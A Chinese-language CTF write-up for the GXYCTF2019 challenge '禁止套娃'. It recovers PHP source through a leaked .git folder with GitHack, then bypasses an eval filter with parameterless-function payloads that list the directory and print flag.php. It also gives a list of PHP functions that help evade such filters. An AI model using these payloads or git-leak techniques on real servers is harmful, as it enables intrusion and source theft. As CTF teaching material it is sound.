[GXYCTF2019]禁止套娃
打开靶机:flag在哪里呢?
首先,这道题考查的是.git源码泄露
,用GitHack拿到index.php
python3 GitHack.py http://0e64e14f-e49c-4afe-aad4-ca0b15aad88a.node4.buuoj.cn:81/.git
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
分析一下源码:
-
需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容。
-
preg_match过滤了伪协议的可能
-
preg_replace的主要功能就是限制我们传输进来的必须时纯小写字母的函数,而且不能携带参数。只能匹配通过无参数的函数。
-
**(?R)**引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
?R表示引用正则表达式本身,那么这里允许传入的应该就是下面这种格式
xxx(xxx(xxx(...)));
但是不能有参数,无参数RCE,查找无参数可利用的函数
首先,需要一个浏览目录内的所有文件的函数,这个当然首选:scandir()。
当scandir()传入’.’,可以列出当前目录的所有文件
-
最后一个preg_match正则匹配掉了et/na/info等关键字,很多函数都用不了
-
eval($_GET[‘exp’]):典型的无参数RCE
既然getshell基本不可能,那么考虑读源码,flag应该就在flag.php我们想办法读取
首先需要得到当前目录下的文件,这时候需要用到scandir()函数,例如:
<?php print_r(scandir('.')); ?>
那么问题就是如何构造scandir(’.’)
需要认识一个函数:localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是current() 返回数组中的当前单元, 默认取第一个值。
接下来只需要使得指针指向这个数组内的第一个值
current() 函数返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
pos() 函数返回数组中的当前元素的值。该函数是 current() 函数的别名。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
?exp=print_r(scandir(current(localeconv())));
?exp=print_r(scandir(pos(localeconv())));
或
?exp=var_dump(scandir(current(localeconv())));
?exp=var_dump(scandir(pos(localeconv())));
目录爆出来了,那么接下来该如何操作拿到glag.php的内容呢
这里需要使用到新的函数
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse() 函数返回翻转顺序的数组。
把数组顺序倒一下,然后使用next(),就可以读到flag了
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
或者
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
知识点:
-
.git源码泄露
当前大量开发人员使用git进行版本控制,对站点自动部署。 如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,还原重建工程源代码。
渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等安全漏洞。
脚本的工作原理:
- 解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )
- 去.git/objects/ 文件夹下下载对应的文件
- zlib解压文件,按原始的目录结构写入源代码
它的优点:
- 速度快,默认20个工作线程
- 尽量还原所有的源代码,缺失一部分文件不影响脚本工作
- 脚本不需要执行额外的git命令,All you need is python
- 脚本无需浏览目录
可能的改进:
存在文件被gc打包到git\objects\pack的情况,稍后可测试下看能否直接获取并解压这个文件,还原源代码
用法示例:
python GitHack.py http://www.baidu.com/.git/
-
无参数RCE
无参数RCE就类似与在我们经常使用的一句话木马前面,加上了对对参数的过滤,过滤的正则一般类似于一道ctf题目给的这种。
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']){ eval($_GET['exp']); } [a-z,_]+ : 匹配小写字母和下划线_ 1次或多次 \( : 左括号 (?R) : 代表当前表达式,就是这个(/[a-z,_]+\((?R)?\)/),所以会一直递归 (?R)? : 递归当前表达式0次或1次 // (?R)* : 递归当前表达式0次或多次 \) : 右括号 这个正则只会匹配到 a(); a(b()); a(b(c())); 带上参数比如system('ls /');是匹配不到的,过不了判断条件,所以我们只能使用没有参数的函数来进行远程代码执行
下面是测试的一些结果:
-
首先,这个正则是怎么匹配的呢,顺序是怎么样的
比如a(b(c()))这个格式的函数匹配的顺序如下:整个正则可以分为三部分
一 [a-z,_]+( 直到递归前面可以看作一个匹配整体
二 (?R)? 递归部分看作一个匹配整体
三 ) 递归后面的看作一个匹配整体
开始匹配,下面是匹配的顺序
a( //匹配上面第一个匹配整体,然后进入第一次递归
b( //匹配上面第一个匹配整体,进入第二次递归
c( //匹配上面第一个匹配整体,进入第三次递归
//没有匹配第一个匹配整体,递归停止
) //匹配第二次递归剩下的表达式,即第三个匹配的整体),
) //匹配第一次递归剩下的表达式,即),
) //匹配原表达式剩下的表达式,即), -
(?R),(?R)?,(?R),(?R)+的区别
首先,(?R) , (?R)+ 这两个表达式是匹配不到东西的,因为每次匹配的时候都会至少运行一次递归,无法终止,所以匹配不到任何东西。(?R)?,递归0次或1次,非贪婪,只能匹配a(b())这种一层套一个函数的。
(?R)\,递归0次或多次,贪婪,可以匹配a(b(c()d()))
下面是一些相关函数
数组操作:
localeconv()函数:返回一包含本地数字及货币格式信息的数组。
current():返回数组中的当前单元, 默认取第一个值。
pos():current() 的别名。
next()函数:将内部指针指向数组中的下一个元素,并输出。
array_reverse():以相反的元素顺序返回数组。
array_flip():交换数组中的键和值
array_rand():从数组中随即取出一个或多个单元
key():从关联数组中取得键名
end():将数组的内部指针指向最后一个单元
each():返回数组中当前的键值对,并将数组指针向前移动一步
prev():将数组的内部指针倒回一位
reset():将数组的内部指针只想第一个单元
文件操作:
scandir():列出 images 目录中的文件和目录。
readfile():输出一个文件。
file_get_contents():将整个文件读入一个字符串
highlight_file()[别名:show_source()]:语法高亮一个文件
direname():给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。
getcwd():取得当前工作目录。
chdir($directory):将 PHP 的当前目录改为 directory。
读取环境变量:
get_defined_vars():此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
getenv:获取一个环境变量的值
localeconv():返回一包含本地数字及货币格式信息的数组,第一个值一直是.
phpversion():获取当前的PHP版本
会话:
session_id:获取/设置当前会话 ID
session_start:启动新会话或者重用现有会话
其它:
chr():返回指定的字符
rand():产生一个随机整数
time():返回当前的 Unix 时间戳
localtime():取得本地时间
localtime(time()) 返回一个数组,Array [0] 为一个 0~60 之间的数字
hex2bin():转换十六进制字符串为二进制字符串
ceil():进一法取整
sinh():双曲正弦
cosh():双曲余弦
tan():正切
floor():舍去法取整
sqrt():平方根
crypt():单向字符串散列
hebrevc:将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符
hebrevc(crypt(arg)) [crypt(serialize(array()))]:可以随机生成一个 hash 值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过 ord chr 只取第一个字符
ord:返回字符串的第一个字符的 ASCII 码值。